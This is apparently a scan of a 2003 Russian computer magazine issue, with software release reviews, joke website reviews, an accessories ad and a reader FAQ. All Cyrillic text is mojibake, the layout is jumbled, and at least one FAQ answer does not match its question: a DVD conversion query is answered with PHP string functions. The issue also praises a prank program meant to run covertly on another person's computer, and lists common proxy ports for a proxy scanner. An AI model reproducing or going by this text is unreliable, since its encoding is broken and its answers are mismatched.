Dr.Web 4.29c<br />
WinSCP 2.3<br />
PGP 8.0.2<br />
SecurityWorks 2003<br />
ZoneAlarm Free 3.7.159<br />
IRIS 4.0.6<br />
ÞÍÈÊÑ<br />
Íîâûå ÿäðà<br />
Ïàò÷è äëÿ ÿäðà<br />
VER 05.03 (53)<br />
cdrLabel v 7.0<br />
(583 Kb)<br />
Win 9x/Me/NT/2k/XP, Shareware<br />
http://www.ziplabel.com<br />
Zoom Player v 3.0<br />
PRO (792 Kb)<br />
Win 9x/Me/NT/2k/XP, Shareware<br />
http://www.inmatrix.com/zplayer<br />
Screen Babe v 2.1<br />
(2342 Kb)<br />
Win 9x/Me/NT/2k/XP, Shareware<br />
http://www.casperlab.com/ScreenBabe<br />
Îáíîâèëàñü ëó÷øàÿ, íà ìîé âçãëÿä, ïðîãðàììà äëÿ<br />
ïå÷àòè îáëîæåê äëÿ êîìïàêò-äèñêîâ. cdrLabel íàó÷èëàñü<br />
îáðàáàòûâàòü MP3, WMA è OGG-òåãè è îáçàâåëàñü<br />
ïîääåðæêîé ïëàãèíîâ. Âäîáàâîê, ïðîãà òåïåðü<br />
äàåò ÷óòü áîëüøå ïðîñòîðà äëÿ äèçàéíåðñêèõ èçûñêîâ.<br />
Õîòÿ ïî-ïðåæíåìó cdrLabel – ñîôò íå äëÿ áàëîâñòâà.<br />
Ýòî èíñòðóìåíò äëÿ ñåðüåçíîãî îïèñàíèÿ áîëüøèõ<br />
ôàéëîâûõ àðõèâîâ.<br />
Ôèíàëüíûé ðåëèç îòëè÷íîãî ìóëüòèìåäèéíîãî ïëååðà,<br />
íå îñîáî òðåáîâàòåëüíîãî ê ðåñóðñàì è îáëàäàþùåãî<br />
ìàññîé ïðîäâèíóòûõ ôóíêöèé. Äî òåõ ïîð, ïîêà<br />
íå âûéäåò íîâàÿ âåðñèÿ BSPlayer’à, Zoom Player,<br />
íåñîìíåííî, áóäåò ÿâëÿòüñÿ ëó÷øèì ñðåäñòâîì ïðîñìîòðà<br />
ôèëüìîâ â ôîðìàòàõ DIVX è DVD (õîòÿ DVD,<br />
íàñêîëüêî ÿ ïîíÿë, òåïåðü ñìîæåò êðóòèòü òîëüêî óñëîâíî-áåñïëàòíàÿ<br />
PRO âåðñèÿ ýòîé ïðîãè).<br />
Óíèêàëüíàÿ ïðîãðàììà äëÿ ñîçäàíèÿ ìàëåíüêèõ âèðòóàëüíûõ<br />
ïåðñîíàæåé, æèâóùèõ íà ýêðàíå êîìïüþòåðà. Ïîäðîáíåå<br />
î Screen Babe ìîæíî ïî÷èòàòü â ÿíâàðñêîì íîìåðå Õ<br />
(ñòàòüÿ «Êàê çàìóòèòü ñâîé screenmate»). ß æå õîòåë ëèøü<br />
îòìåòèòü, ÷òî íåäàâíî âûøëà âòîðàÿ âåðñèÿ ýòîé ïðîãè,<br />
ïîçâîëÿþùàÿ ñîçäàâàòü çíà÷èòåëüíî áîëåå ñëîæíûå è ðàçóìíûå<br />
ñêðèíìåéòû, óìåþùèå ïîëó÷àòü èíôîðìàöèþ èç<br />
Ñåòè è ëåãêî îáó÷àåìûå ëþáîìó ÿçûêó - äàæå ðóññêîìó :).<br />
NEW<br />
RELEASES<br />
NEW<br />
RELEASES<br />
NEW<br />
RELEASES<br />
96
BookmarkHit v 2.1<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 1352 Kb<br />
Shareware<br />
http://www.gemx.com<br />
Ïðîãðàììû îò GemX âñåãäà ðàäîâàëè<br />
ìåíÿ ñâîèì èíòåðôåéñîì,<br />
è èõ ìåíåäæåð çàêëàäîê íå<br />
ñòàë èñêëþ÷åíèåì – íà íåãî ïðèÿòíî<br />
ïîñìîòðåòü, ñ íèì óäîáíî<br />
ðàáîòàòü. Ê òîìó æå BookmarkHit<br />
âûäåëÿåòñÿ èç îáùåé ìàññû ïðîã<br />
äàííîãî âèäà ñâîåé íàâîðî÷åííîñòüþ<br />
– îí îòíîñèòñÿ ê òîé íåìíîãî÷èñëåííîé<br />
ãðóïïå bookmark<br />
manager’îâ, êîòîðûå óìåþò ñîõðàíÿòü<br />
íå òîëüêî ññûëêè íà ñàéòû,<br />
íî è ñêðèíøîòû èõ òèòóëüíûõ<br />
ñòðàíèö. Ñðàçó ïðåäóïðåæó, ÷òî<br />
ïðîãðàììà ïðåäíàçíà÷åíà äëÿ<br />
âäóì÷èâîé ðàáîòû ñ áîëüøèì êîëè÷åñòâîì<br />
çàïèñåé. Ýòè çàïèñè<br />
BookmarkHit ïîçâîëÿåò õðàíèòü â<br />
èäåàëüíîì ïîðÿäêå, ôîðìèðóÿ<br />
èç íèõ ïîíÿòíûå äðåâîâèäíûå<br />
ñòðóêòóðû. Êðîìå ññûëêè, íàçâàíèÿ<br />
ñàéòà, åãî îïèñàíèÿ è ñêðèíøîòà òèòóëüíîé ñòðàíèöû (çàäàííîãî êà÷åñòâà!)<br />
ëþáàÿ çàêëàäêà ìîæåò èìåòü ðåéòèíã è ñâîþ ñîáñòâåííóþ èêîíêó. Âäîáàâîê ê ýòîìó<br />
BookmarkHit ïîçâîëÿåò ìåíÿòü öâåò øðèôòà ó îòäåëüíûõ çàïèñåé è ïàïîê. Äîñòàòî÷íî<br />
îäèí ðàç íàâåñòè ïîðÿäîê â ñâîåé êîëëåêöèè ññûëîê, è çàáëóäèòüñÿ â íåé<br />
áóäåò óæå ïðàêòè÷åñêè íåâîçìîæíî.  êðàéíåì ñëó÷àå, òåáÿ âñåãäà âûðó÷èò ñòðîêà<br />
áûñòðîãî ïîèñêà (îíà ïîñòîÿííî ïðèñóòñòâóåò íà ýêðàíå è íå ãíóøàåòñÿ ðóññêèì<br />
ÿçûêîì) èëè âñòðîåííûé Image Viewer (îí ïîêàçûâàåò íå óìåíüøåííîå èçîáðàæåíèå<br />
âåá-ñòðàíèöû, à êàðòèíêó «â ïîëíûé ðîñò», ãëÿäÿ íà êîòîðóþ îáû÷íî óäàåòñÿ<br />
âñïîìíèòü, çà÷åì òû êîãäà-òî çàíåñ â çàêëàäêè ýòîò ñàéò).<br />
Ëó÷øå âñåãî ïðîãðàììà ðàáîòàåò ñ Internet Explorer – íàæàòèå ãîðÿ÷åé êëàâèøè,<br />
è íîâàÿ çàêëàäêà ìîìåíòàëüíî ïîïàäàåò â ëàïû BookmarkHit. «Çàêëàäûâàòü» ñòðàíèöû<br />
èç Îïåðû î÷åíü íåóäîáíî – ñêðèíøîòû íå âûõîäÿò, è ìíîãèå ïîëÿ ïðèõîäèòñÿ<br />
çàïîëíÿòü ñàìîñòîÿòåëüíî. Çàòî èìïîðòèðîâàòü çàêëàäêè BookmarkHit ìîæåò<br />
èç âñåõ áîëåå-ìåíåå ïîïóëÿðíûõ áðàóçåðîâ. Îòêðûâàòü ññûëêè òû òàêæå ìîæåøü<br />
â òîé áðîäèëêå, êîòîðàÿ òåáå íðàâèòñÿ áîëüøå.<br />
 BookmarkHit ðåàëèçîâàíà åùå óéìà âñÿêèõ ëþáîïûòíûõ ôèøå÷åê (àâòîìàòè÷åñêèé<br />
áýêàï, ñæàòèå áàçû äàííûõ, ðàçëè÷íûå ñïîñîáû ìàíèïóëÿöèè ñêðèíøîòàìè è<br />
ò.ï.), òàê ÷òî åñëè òðåáóåòñÿ ïðåâðàòèòü áåñïîðÿäî÷íûé ñïèñîê ññûëîê â ñåðüåçíóþ<br />
êîëëåêöèþ çàêëàäîê, òî ê ýòîé ïðîãå òåáå îïðåäåëåííî ñòîèò êàê ñëåäóåò<br />
ïðèñìîòðåòüñÿ.<br />
Popup<br />
Prank v 1.0<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 367 Kb<br />
Freeware<br />
http://www.rjlsoftware.com<br />
Íîâîé ïðîãîé-çàïîäëÿíêîé<br />
ïîðàäîâàëà êîìïàíèÿ<br />
RJL Software. Íà ýòîò ðàç<br />
ðàçðàáîò÷èêè îáðàòèëèñü<br />
ê êëàññè÷åñêîìó ñïîñîáó<br />
èçäåâàòåëüñòâà íàä<br />
ëþäüìè, øèðîêî èçâåñòíîìó<br />
â Ñåòè ïîä áåçîáèäíûì<br />
íàçâàíèåì «ðåêëàìà<br />
ñ ïîìîùüþ âñïëûâàþùèõ<br />
îêîí». Ðåçóëüòàòîì èõ ïîèñòèíå<br />
áåñ÷åëîâå÷íîãî<br />
ýêñïåðèìåíòà ñòàëî ïîÿâëåíèå<br />
íà ñâåò ïðîãðàììû<br />
Popup Prank - îðóæèÿ<br />
ñòðàøíîé ðàçðóøèòåëüíîé<br />
ñèëû, ñïîñîáíîãî<br />
áûñòðî äîâåñòè äî áåøåíñòâà ÷åëîâåêà äàæå ñ ñàìîé óñòîé÷èâîé ïñèõèêîé.<br />
Ïðèíöèï äåéñòâèÿ Popup Prank ïðîñò – ïðîãðàììà çàñòàâëÿåò âûïðûãèâàòü íà<br />
ýêðàí îêíà ñ ðåêëàìîé. Òî÷íî òàêèå æå îêíà, êàê è òå, ÷òî òåáå ñîòíè ðàç ïðèõîäèëîñü<br />
âèäåòü âî âðåìÿ ïóòåøåñòâèé ïî èíåòó. Òîëüêî åñëè áðîäèëêà ïîêàçûâàëà<br />
ýòè îêíà â ùàäÿùåì ðåæèìå – ïî íåñêîëüêó øòóê â ÷àñ (îñîáåííî, åñëè â Ñåòè<br />
òû äåðæèøüñÿ öèâèëèçîâàííûõ ìåñò), òî òâîðåíèå RJL Software ñïîñîáíî çàêîëåáàòü<br />
äàæå ìåðòâîãî… Â ïðèíöèïå. Ïðîáëåìà â òîì, ÷òî ñåé÷àñ êîëè÷åñòâî<br />
«ðåêëàìíûõ ïîêàçîâ», óâû, íå ìîæåò áûòü áîëüøå 20, õîòÿ ïîðîé æåðòâà ïðÿìîòàêè<br />
çàñëóæèâàåò òîãî, ÷òîáû ýòî ÷èñëî áûëî íà ïîðÿäîê áîëüøå.<br />
Ñòåïåíü «çëîáíîñòè» Popup Prank çàäàåòñÿ ïðè ïåðâîì çàïóñêå (êîòîðûé, ñàìî<br />
ñîáîé, ïðîèçâîäèòñÿ íà ÷óæîé ìàøèíå). Ïîìèìî êîëè÷åñòâà ïîêàçîâ, òû<br />
ìîæåøü óêàçàòü ïðîãðàììå, ñêîëüêî ñåêóíä ïîñëå çàêðûòèÿ þçåðîì îäíîãî<br />
ðåêëàìíîãî îêíà íåîáõîäèìî âûæäàòü, ïðåæäå ÷åì âûâåñòè íà ýêðàí ñëåäóþùåå.<br />
Äðóãîé âàæíûé ìîìåíò, íà êîòîðûé òåáå ñòîèò îáðàòèòü âíèìàíèå, ýòî<br />
îïöèÿ «Hide until Internet Browser opens». Åñëè åå îòìåòèòü, òî Popup Prank áóäåò<br />
äåìîíñòðèðîâàòü pop-up’û ëèøü òîãäà, êîãäà þçåð Óøàñòûé çàïóñòèò ñâîé<br />
áðàóçåð. È ôèãóøêè îí äîãàäàåòñÿ, ÷òî ïðîáëåìà-òî ñîâñåì íå â áðîäèëêå!<br />
Åùå îäèí íþàíñ, î êîòîðîì òåáå ñòîèò çíàòü, - Popup Prank óìååò âñòàâëÿòü â<br />
ðåêëàìó çàäàííîå òîáîé ãðàôè÷åñêîå èçîáðàæåíèå (â ôîðìàòå jpeg, bmp, ico,<br />
emf èëè wmf). Ìîæåøü ðàçìåñòèòü íà áàííåðå ñâîå óëûá÷èâîå ëèöî (ïðàâäà,<br />
òîãäà æåðòâà áûñòðî äîãàäàåòñÿ, ÷òî äåëî íå÷èñòî) èëè ÷òî-íèáóäü ãîðàçäî<br />
áîëåå çëîáíîå.<br />
Ðàáîòàåò Popup Prank ïðàêòè÷åñêè íåçàìåòíî äëÿ ïîëüçîâàòåëÿ è àâòîìàòè÷åñêè<br />
çàêðûâàåòñÿ ïðè ïåðåìåùåíèè óêàçàòåëÿ ìûøè â ëåâûé âåðõíèé óãîë ýêðàíà.
Þíèòû<br />
Ñïîíñîð ðóáðèêè «Þíèòû» - ÖÍÒ öåíòðàëüíûé òåëåãðàô<br />
www.dialup.cnt.ru, www.cards.cnt.ru<br />
WWW<br />
Àëåêñ Ýêñëåð (exler@exler.ru)<br />
Äåíüãè, äåíüãè,<br />
äåíüãè, ðóáëèêè...<br />
http://www.ka-r-dan.agava.ru/money<br />
Õî÷åòñÿ ñêîëüêî-íèáóäü íåìíîæå÷êî<br />
äåíåæêîâ Äà íå âîïðîñ. Âîò íà ýòîì<br />
ñàéòå - ïîëíûé êîìïëåêò. Ïðàâäà, äåíåæêè<br />
ñòàðûå. Ïåðå÷èñëÿþ: ðóï÷èê,<br />
äåðåâÿííûé, ðóïü, áèð ìàíàò, êàðáîâàíåö,<br />
òðåøêà, òðåëüíèê, òðåõà, òðèôîí,<br />
çåëåíûé, òðþíäåëü, ïÿòåðêà,<br />
ïÿòåðà, ïÿòèôîí, ñèíüêà, ïÿòêà, ïÿòàê,<br />
äåñÿòêà, äåñþí÷èê, ÷èðèê, êðàñíûé<br />
ëåíèí, äåñèôîí, ÷åòâåðòíîé,<br />
óãîë è ÷åòâåðòàê. Òû, íåáîñü, è íàçâàíèé-òî<br />
òàêèõ íå çíàåøü. À ýòî, ðåáÿòà,<br />
íàøà ñ âàìè èñòîðèÿ. Íå÷òî âðîäå<br />
ìóçåÿ äîñòèæåíèé. Èëè ïîòåðü.<br />
Äëÿ êîãî-òî ýòî íîñòàëüãè÷åñêèå âîñïîìèíàíèÿ,<br />
à äëÿ êîãî-òî - íàáîð<br />
ïîðòðåòîâ óñòàðåâøèõ áóìàæåê. Íî<br />
òû çíàåøü, êàê ìû â ñâîå âðåìÿ ñ<br />
ýòèìè áóìàæêàìè... Íå ìîãó áîëüøå<br />
ïèñàòü. Ñëåçû ìó÷àþò. Ïîéäó ñòî<br />
áàêñîâ â ðóêàõ ïîâåð÷ó äëÿ óñïîêîåíèÿ.<br />
Íî íèêîãäà ýòè ÷åðòîâû áàêñû íå<br />
çàìåíÿò ìíå òðþíäåëÿ! Íèêîãäà!<br />
Ó÷åáíàÿ êàðòà<br />
èíòåðíåòà<br />
http://www.marusyak.net<br />
Ó÷åíûå óòâåðæäàþò,<br />
÷òî ìàêñèìàëüíîå<br />
÷èñëî<br />
îáúåêòîâ, êîòîðûìè<br />
îäíîâðåìåííî<br />
ìîæåò îïåðèðîâàòü<br />
÷åëîâåê, ðàâíî<br />
ñåìè. Ïîýòîìó<br />
Ìàðóñÿê è ñîòâîðèë<br />
äëÿ òåáÿ ýòó<br />
âåñüìà ìóäðåíóþ<br />
êàðòó èíòåðíåòà, â<br />
êîòîðîé âñåãî ïî<br />
ñåìü: ñåìü ïóëåê,<br />
êàê â Ñàðàåâî, è<br />
ñåìü ñàéòîâ â êàæäîé<br />
êàòåãîðèè.<br />
Ïðè÷åì ýòèõ êàòåãîðèé<br />
- ñåìü ðàç<br />
ïî ñåìü, óìíîæèòü íà ñåìü è ðàçäåëèòü íà äâå ïîëîâèíêè îò ñåìè.<br />
Çàòî ïðèêîëüíî, ïîòîìó ÷òî íå íóæíî çàãðóæàòü ìîçãè: çàøåë, âûáðàë<br />
êàòåãîðèþ, íàåõàë (íå êîíêðåòíî íàåõàë, à ïðîñòî íàåõàë) íà<br />
íåå ìûøêîé è òêíóë â ïåðâîå æå ïîïàâøååñÿ îëèìïèéñêîå êîëüöî,<br />
äîëæåíñòâóþùåå ñèìâîëèçèðîâàòü íåêèé ñàéò. ×òî èíòåðåñíî, êàêîé-íèáóäü<br />
ñàéò âñå ðàâíî îòêðîåòñÿ. Ïðè÷åì âûñîêà âåðîÿòíîñòü<br />
òîãî, ÷òî ñàéò áóäåò çàáàâíûé. Ïîýòîìó ó÷èìñÿ èíòåðíåòó ïî êàðòå<br />
Ìàðóñÿêà. Íàåçæàåì ìûøêîé. È áóäåò íàì ÙÀÑÒÜÅ!<br />
Ïðåìèÿ çà ãëóïîñòü<br />
http://www.darwin.hut.ru<br />
Íå çíàåøü, ÷òî òàêîå Ïðåìèÿ<br />
Äàðâèíà Ýòà ïðåìèÿ<br />
âðó÷àåòñÿ ëþäÿì, êîòîðûå<br />
ïîãèáëè ìàêñèìàëüíî äóðàöêèì<br />
îáðàçîì, ïðè÷åì<br />
ñâîåé ãèáåëüþ îáÿçàíû èñêëþ÷èòåëüíî<br />
ñàìèì ñåáå. Áîëåå<br />
òîãî, åñëè âíèìàòåëüíî<br />
ïî÷èòàòü ïðèâåäåííûå íà<br />
ñàéòå èñòîðèè, òî âûÿñíèòñÿ,<br />
÷òî ãëóïîñòü ÷åëîâå÷åñêàÿ<br />
èìååò òåíäåíöèþ ïîâòîðÿòüñÿ.<br />
Íàïðèìåð, áûâøèõ<br />
âîåííûõ, ðåøèâøèõ ðàçîãíàòü<br />
ñâîþ ìàøèíó ñ ïîìîùüþ<br />
ñàìîëåòíûõ ðàêåòíûõ<br />
óñêîðèòåëåé, îêàçàëîñü<br />
ìèíèìóì òðîå. Ìóæåé, êîòîðûå<br />
èç-çà ññîð ñ æåíàìè òåì<br />
èëè èíûì äóðàöêèì îáðàçîì<br />
çàêàí÷èâàëè ñâîþ æèçíü -<br />
äåñÿòêè è ñîòíè. À óæ íåçàäà÷ëèâûõ<br />
ãðàáèòåëåé, êîòîðûå<br />
íàäåâàþò ìàñêó è çàáûâàþò<br />
ïðè ýòîì ñíÿòü ñ ãðóäè<br />
áàäæèê ñî ñâîèì èìåíåì,<br />
ïðîñòî íå ñîñ÷èòàòü. Ñ îäíîé ñòîðîíû, âñåõ ýòèõ áåäîëàã, êîíå÷íî, æàëêî,<br />
íî ñ äðóãîé - î÷åíü ïîçíàâàòåëüíîå ÷òèâî äëÿ òåõ, êòî ñ÷èòàåò, ÷òî ãëóïîñòü<br />
èìååò îïðåäåëåííûé ïðåäåë. Íè ôèãà ïîäîáíîãî! Ãëóïîñòü - áåñïðåäåëüíà!<br />
Îáìàíóëè ëè íàñ<br />
àìåðèêàíöû<br />
http://www.skeptik.net/conspir/moonhoax.htm<br />
Ñòî ëåò âñå ñïîðÿò,<br />
áûëè àìåðèêàíöû<br />
íà Ëóíå,<br />
èëè æå îíè âñåõ<br />
îáìàíóëè. Íà<br />
ýòîé ñòðàíè÷êå<br />
ïðèâîäèòñÿ êó÷à<br />
äîêàçàòåëüñòâ òîãî,<br />
÷òî îíè òàì íå<br />
áûëè. À òàêæå êó-<br />
÷à îïðîâåðæåíèé<br />
ýòèõ äîêàçàòåëüñòâ<br />
òîãî, ÷òî<br />
îíè òàì íå áûëè,<br />
èç ÷åãî ìîæíî ñäåëàòü âûâîä î òîì, ÷òî îíè òàì âñå-òàêè áûëè. Ïðè ýòîì<br />
ó òåáÿ âîçíèêíóò ñâîè äîêàçàòåëüñòâà òîãî, ÷òî îíè òàì íå áûëè, è ýòè<br />
äîêàçàòåëüñòâà òû ñàì ñåáå ñìîæåøü îïðîâåðãíóòü âñåé ìîùüþ ñâîåãî<br />
âûäàþùåãîñÿ óìà. Õîðîøåå ðàçâëå÷åíèå, ìåæäó ïðî÷èì. Ñîâåðøåííî<br />
áåññìûñëåííîå, íî çàòî óâëåêàòåëüíîå - äî âèçãà. Òîëüêî íå ðåêîìåíäóþ<br />
÷èòàòü ìàòåðèàëû ýòîãî ñàéòà âî âðåìÿ êîëëåêòèâíûõ ïüÿíîê - ïåðåäåðåòåñü<br />
âñå ñî ñòðàøíîé ñèëîé.<br />
98
Íîâûå æåðòâû<br />
"Òèòàíèêà"<br />
http://www.karpov.hole.ru/other/titanik.htm<br />
ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />
ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />
PC Accessories<br />
Ðåàëüíûå ïèñüìà,<br />
ïðèñëàííûå íà êîíêóðñ<br />
â êîìïàíèþ<br />
"Ïåïñèêî". Åñëè òû<br />
íå ïðîñëåçèøüñÿ,<br />
çíà÷èò, òû ÷åðñòâûé,<br />
ýãîèñòè÷íûé è æåñòîêèé<br />
÷åëîâåê. Ïîòîìó<br />
÷òî ëè÷íî ÿ ïðîñòî<br />
ïëàêàë âåñü, ÷èòàÿ<br />
ýòè íåñðàâíåííûå<br />
øåäåâðû. Ðåáÿòà<br />
âñåãî-òî äîëæíû áûëè<br />
ñêàçàòü, êàê ëþáÿò "Òèòàíèê" è ïåïñè-êîëó. À ÷òî èç ýòîãî ïîëó÷èëîñü<br />
- ïðîñòî "Âîéíà è ìèð", "Çàíåñåííûå âåòðîì" è "Çîëóøêà" â<br />
îäíîì ôëàêîíå. ß ïðèâåäó òîëüêî îäíó-åäèíñòâåííóþ öèòàòó îòòóäà:<br />
"Ýòîò ôèëüì ìíå íðàâèòñÿ òåì, ÷òî ïðè åãî ïðîñìîòðå õî÷åòñÿ ïëàêàòü.<br />
ß î÷åíü õî÷ó èìåòü ïëàêàò ãèáåëè Òèòàíèêà èëè Ëåîíàðäà Äèêàïðèî".<br />
Ïëà÷åøü Íó, õîðîøî, åùå îäíó: "Ìíå ñèëüíî ïîíðàâèëîñü<br />
âàøå êèíî òèòàíèê, îíî î÷åíü äóøåâíîå êèíî. Ìíîãî ïîãèáëî ëþäåé".<br />
Íàäåþñü, òåïåðü ó òåáÿ íåò íèêàêèõ ñîìíåíèé â òîì, ÷òî ýòî<br />
íåïðåìåííî íóæíî ïî÷èòàòü.<br />
Áîðüáà ñåáÿ ñ ñàìèì<br />
ñîáîé<br />
http://www.nedrosom.taiso.ru<br />
Àõ-ôèãèòåëüíàÿ<br />
ïðîãðàììà! Çàùèùàåò<br />
òåáÿ îò ñàìîãî<br />
òåáÿ. Òî åñòü ñåáÿ.<br />
Ñèñòåìà ïðîñòàÿ.<br />
Ïðè ðàáîòå çà<br />
êîìïüþòåðîì îòäûõàòü<br />
íóæíî Íåñîìíåííî.<br />
À òî áóäåò<br />
ïîëíûé àëåñ ãåìàõò,<br />
êàê ãîâàðèâàë Ñàââà<br />
Èãíàòüè÷. Âîò äëÿ<br />
òàêèõ êàê òû, ìû è<br />
îíè - ïðèäóìàíà ýòà<br />
ïðîãðàììà. Â íóæíûé<br />
ìîìåíò îíà ñàìà<br />
ïîëíîñòüþ çàáëîêèðóåò<br />
ýêðàí è<br />
çàñòàâèò òåáÿ îòäîõíóòü îò êîìïüþòåðà çàäàííîå ÷èñëî ìèíóò: 30<br />
ìèíóò ðàáîòû - 5 ìèíóò îòäûõà, 50 ìèíóò ðàáîòû - 10 ìèíóò îòäûõà,<br />
90 ìèíóò ðàáîòû - 15 ìèíóò îòäûõà. Ñäåëàíî âñå î÷åíü õèòðî,<br />
÷åðòà ñ äâà ýòîò "Õðîíîêîíòðîëü" îáìàíåøü. Âïðî÷åì, þíûå õàêåðû<br />
ìîãóò ïîïðîáîâàòü ýòó áåðåçêó çàëîìàòè, åñëè îíè ïðèíöèïèàëüíî<br />
íå õîòÿò îòäûõàòü, ïðåäïî÷èòàÿ ïîðòèòü ñåáå ãëàçà è çäîðîâüå.<br />
Òàê ÷òî ìîæíî ñðàçó ãðîõíóòü äâóõ çàéöåâ: èëè îòäîõíóòü,<br />
èëè õàêíóòü ýòîò "Õðîíîêîíòðîëü". Ïîòîìó ÷òî íå ôèã íàñ êîíòðîëèðîâàòü.<br />
Õîòÿ ýòî è ïîëåçíî äëÿ çäîðîâüÿ.<br />
$32.99<br />
Íàóøíèêè/<br />
Nady QH-460<br />
$779.99<br />
Äæîéñòèê/ Flight<br />
Control System III<br />
(AFCS III)<br />
$179.99<br />
Êëàâèàòóðà/ Microsoft<br />
Wireless Optical Desktop<br />
Pro, Keyboard-Mouse Combo<br />
$209.99<br />
Ïåäàëè/CH Pro<br />
Pedals USB<br />
$209.99<br />
$73.99<br />
Äæîéñòèê/ 2.4GHz<br />
Logitech Cordless<br />
Controller<br />
Äæîéñòèê/ CH Flight<br />
Sim Yoke USB<br />
Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />
e-mail: sales@e-shop.ru<br />
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />
ññ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />
ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />
(095) 928-6089 (095) 928-0360 (095) 928-3574
Þíèòû<br />
FAQ<br />
Stepan Ilyin aka Step (faq@real.xakep.ru)<br />
Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />
âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />
õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />
(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />
îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />
òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />
ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />
ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />
Q: Ñðî÷íî íóæåí äâèæîê äëÿ ñîçäàíèÿ<br />
ôîòîãàëåðåè. Æåëàòåëüíî íà PHP.<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A:  ñâîå âðåìÿ, êîãäà ÿ ïîëó÷èë çàêàç íà èçãîòîâëåíèå ïîäîáíîãî ñêðèïòà, ìíå î÷åíü ïîìîã<br />
êîä PhotoPost PHP (http://www.photopost.com/featuresphp.html). Î÷åíü ìîùíûé è ãðàìîòíî<br />
íàïèñàííûé èíñòðóìåíò äëÿ ðåàëèçàöèè ïîñòàâëåííîé öåëè. Ðàáîòàåò íà PHP4, èñïîëüçóåò<br />
MySQL, èìååò îãðîìíîå êîëè÷åñòâî ôóíêöèé è êðàéíå ïðîñò â íàñòðîéêå. Åñëè<br />
òåáå íå íóæíû ñëîæíåéøèå çàïðîñû, êîòîðûå ìîãóò ðîäèòüñÿ òîëüêî ó ïàðàíîèêîâ-ðàáîòîäàòåëåé,<br />
òî PhotoPost PHP, ïî-ìîåìó, èäåàëüíûé âàðèàíò.<br />
Q: Ñëó÷àéíî çàìêíóë öåïè ïèòàíèÿ êóëåðà íà ìàòåðèíêå<br />
Chaintec 7aja2-100. Ïîñëå ýòîãî êîìïüþòåð íå<br />
âêëþ÷àåòñÿ. Ïîäñêàæèòå, ïîæàëóéñòà, ÷òî ïîëåòåëî<br />
Ìàòåðèíñêóþ ïëàòó òîëüêî-òîëüêî êóïèë.<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Ñêîðåå âñåãî, ñãîðåë ðåçèñòîð, êîòîðûé ñòîèò ðÿäîì ñ ðàçúåìîì ïîä ïèòàíèå êóëåðà. Ïîïðîáóé âûïàÿòü åãî è êàïíóòü<br />
êàïëþ îëîâà (ñîïðîòèâëåíèÿ äîëæíî õâàòèòü). Åñëè îïûòà â òàêèõ äåëàõ íåò, èëè ïðîñòî áîèøüñÿ, òî ëó÷øå íåñè ìàòåðèíêó<br />
â ðåìîíò. À åùå ëó÷øå ïîïðîáîâàòü ñäàòü äåâàéñ ïî ãàðàíòèè.  ëþáîì ñëó÷àå, ïîïûòêà - íå ïûòêà!<br />
Q: Ïèøó ïðîêñè-ñêàíåð. Âñå áû õîðîøî,<br />
äà âîò íå ìîãó íàéòè íàèáîëåå<br />
ïîëíîãî ñïèñêà ïîðòîâ, êîòîðûå ñòàëè<br />
ñòàíäàðòîì äå-ôàêòî. Ïîïàäàþòñÿ<br />
êàêèå-òî êóñêè, à õî÷åòñÿ ÷åãî-íèáóäü<br />
ïîëíîãî...<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Íó, òàê äåðæè: 21, 80, 81, 82, 83, 85, 88, 888, 1080, 1182, 3128, 3408, 5121,<br />
5265, 5381, 6079, 6588, 6829, 7146, 7156, 7185, 7235, 7365, 7484, 7515, 7703, 7739, 7769,<br />
7829, 7989, 8000, 8001, 8002, 8010, 8080, 8081, 8082, 8088, 8100, 8150, 8253, 8369, 8405,<br />
8553, 8616, 8760, 8888, 8965, 9003, 9081, 9274, 9407, 9441, 9465, 9483, 9515, 9557, 9598,<br />
9631, 9715, 9817, 9853, 9859, 10000, 10080, 31213, 31578, 48786;<br />
Ìàññó äðóãîé èíòåðåñíîé èíôû, êîòîðàÿ íàâåðíÿêà òåáå ïðèãîäèòñÿ, ìîæíî íàéòè íà<br />
www.antiproxy.com è www.proxychecker.ru.<br />
Q: Ïîäñêàæè óòèëèòó äëÿ êîíâåðòèðîâàíèÿ<br />
DVD â<br />
VCD(SVCD)!<br />
âîïðîñ.......................<br />
îòâåò.........................<br />
A: Êëàññè÷åñêèé âîïðîñ, êîòîðûé óæå íå ðàç îñâåùàëñÿ. Ïðîáëåìû ñ êèðèëëèöåé<br />
áûâàþò íå òîëüêî â Perl’å (ãäå èíîãäà íåïðàâèëüíî ñðàáàòûâàåò<br />
locale), íî è â PHP. Ïîýòîìó ñîâåòóþ èñïîëüçîâàòü óæå ïðîâåðåííûå<br />
âðåìåíåì è îãðîìíûì êîëè÷åñòâîì ïðîãðàììåðîâ ôóíêöèè:<br />
strtoupper()<br />
<br />
strtolower()<br />
<br />
ËÀÌÎÐÀÇÌÛ ÍÎÌÅÐÀ<br />
1. Ñêàæè, ïîæàëóéñòà, êàê óçíàòü IP-àäðåñ<br />
(äîïóñòèì ìîåãî äðóãà), åñëè ìû<br />
çàêîííåêòèëèñü ïî ìîäåìó ÷åðåç Hyper<br />
Terminal<br />
2. Ïûòàëñÿ âñóíóòü ISA’øíûé ìîäåì â ñâîþ<br />
ìàòåðèíêó (asus p4b266), íî òàê íè÷åãî è íå<br />
